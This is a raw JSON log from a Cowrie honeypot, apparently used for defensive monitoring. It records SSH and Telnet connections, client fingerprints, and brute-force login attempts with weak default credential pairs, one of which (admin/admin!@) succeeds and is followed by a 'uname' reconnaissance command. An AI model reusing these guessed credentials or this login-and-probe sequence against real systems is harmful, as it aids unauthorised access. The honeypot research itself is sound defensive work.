{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:49.842106Z","src_ip":"194.113.233.25","session":"8922b14c79dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:49.926542Z","src_ip":"194.113.233.25","session":"8922b14c79dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"center","message":"login attempt [root/center] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:50.180281Z","src_ip":"194.113.233.25","session":"8922b14c79dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":16730,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a9aa1909424","protocol":"ssh","message":"New connection: 38.93.206.2:16730 (159.203.135.109:22) [session: 2a9aa1909424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:51.049897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:51.063134Z","src_ip":"38.93.206.2","session":"2a9aa1909424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:51.112579Z","src_ip":"38.93.206.2","session":"2a9aa1909424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:51.267319Z","src_ip":"194.113.233.25","session":"8922b14c79dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220689","message":"login attempt [root/220689] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:51.515154Z","src_ip":"38.93.206.2","session":"2a9aa1909424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":51472,"dst_ip":"10.17.0.5","dst_port":23,"session":"31a9425c2589","protocol":"telnet","message":"New connection: 178.128.93.180:51472 (10.17.0.5:23) [session: 31a9425c2589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:51.929513Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:52.568291Z","src_ip":"38.93.206.2","session":"2a9aa1909424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56424,"dst_ip":"10.17.0.5","dst_port":22,"session":"b011eb8d9080","protocol":"ssh","message":"New connection: 95.38.165.118:56424 (10.17.0.5:22) [session: b011eb8d9080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:53.120096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:53.246029Z","src_ip":"95.38.165.118","session":"b011eb8d9080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:53.359035Z","src_ip":"95.38.165.118","session":"b011eb8d9080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:54.218755Z","src_ip":"95.38.165.118","session":"b011eb8d9080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:55.813042Z","src_ip":"95.38.165.118","session":"b011eb8d9080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:56.562319Z","src_ip":"95.38.165.118","session":"595e47f5d2ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:57.184363Z","src_ip":"95.38.165.118","session":"2edcde1683d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:58.350477Z","src_ip":"95.38.165.118","session":"2edcde1683d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41142,"dst_ip":"10.17.0.5","dst_port":22,"session":"e600fde8e7c5","protocol":"ssh","message":"New connection: 95.38.165.118:41142 (10.17.0.5:22) [session: e600fde8e7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:58.590859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:58.595433Z","src_ip":"95.38.165.118","session":"e600fde8e7c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:58.760927Z","src_ip":"95.38.165.118","session":"e600fde8e7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:59.257051Z","src_ip":"95.38.165.118","session":"e600fde8e7c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:00.426209Z","src_ip":"95.38.165.118","session":"e600fde8e7c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41152,"dst_ip":"10.17.0.5","dst_port":22,"session":"4100253fb74a","protocol":"ssh","message":"New connection: 95.38.165.118:41152 (10.17.0.5:22) [session: 4100253fb74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:04.524547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:04.540682Z","src_ip":"95.38.165.118","session":"4100253fb74a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:06.244798Z","src_ip":"95.38.165.118","session":"4100253fb74a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:07.173557Z","src_ip":"95.38.165.118","session":"4100253fb74a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":36656,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b865638e0c5","protocol":"ssh","message":"New connection: 85.11.167.46:36656 (159.203.135.109:22) [session: 9b865638e0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:07.594907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:07.600500Z","src_ip":"85.11.167.46","session":"9b865638e0c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:07.688818Z","src_ip":"85.11.167.46","session":"9b865638e0c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deather","message":"login attempt [root/deather] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:07.948770Z","src_ip":"85.11.167.46","session":"9b865638e0c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:08.786822Z","src_ip":"95.38.165.118","session":"4100253fb74a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:09.038262Z","src_ip":"85.11.167.46","session":"9b865638e0c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59268,"dst_ip":"10.17.0.5","dst_port":22,"session":"23741dfa1b3d","protocol":"ssh","message":"New connection: 95.38.165.118:59268 (10.17.0.5:22) [session: 23741dfa1b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:10.909760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:11.304165Z","src_ip":"95.38.165.118","session":"23741dfa1b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:11.308793Z","src_ip":"95.38.165.118","session":"23741dfa1b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:15.006686Z","src_ip":"95.38.165.118","session":"23741dfa1b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59270,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7a0c67cccb6","protocol":"ssh","message":"New connection: 95.38.165.118:59270 (10.17.0.5:22) [session: a7a0c67cccb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:15.233865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:15.684043Z","src_ip":"95.38.165.118","session":"a7a0c67cccb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:15.687783Z","src_ip":"95.38.165.118","session":"a7a0c67cccb6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:16.607665Z","src_ip":"95.38.165.118","session":"a7a0c67cccb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:16.969607Z","src_ip":"95.38.165.118","session":"23741dfa1b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00193953514099,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:17.989542Z","src_ip":"89.99.30.209","session":"f61268445e2e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:18.616875Z","src_ip":"95.38.165.118","session":"a7a0c67cccb6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:18.621371Z","src_ip":"95.38.165.118","session":"a7a0c67cccb6","protocol":"ssh"}
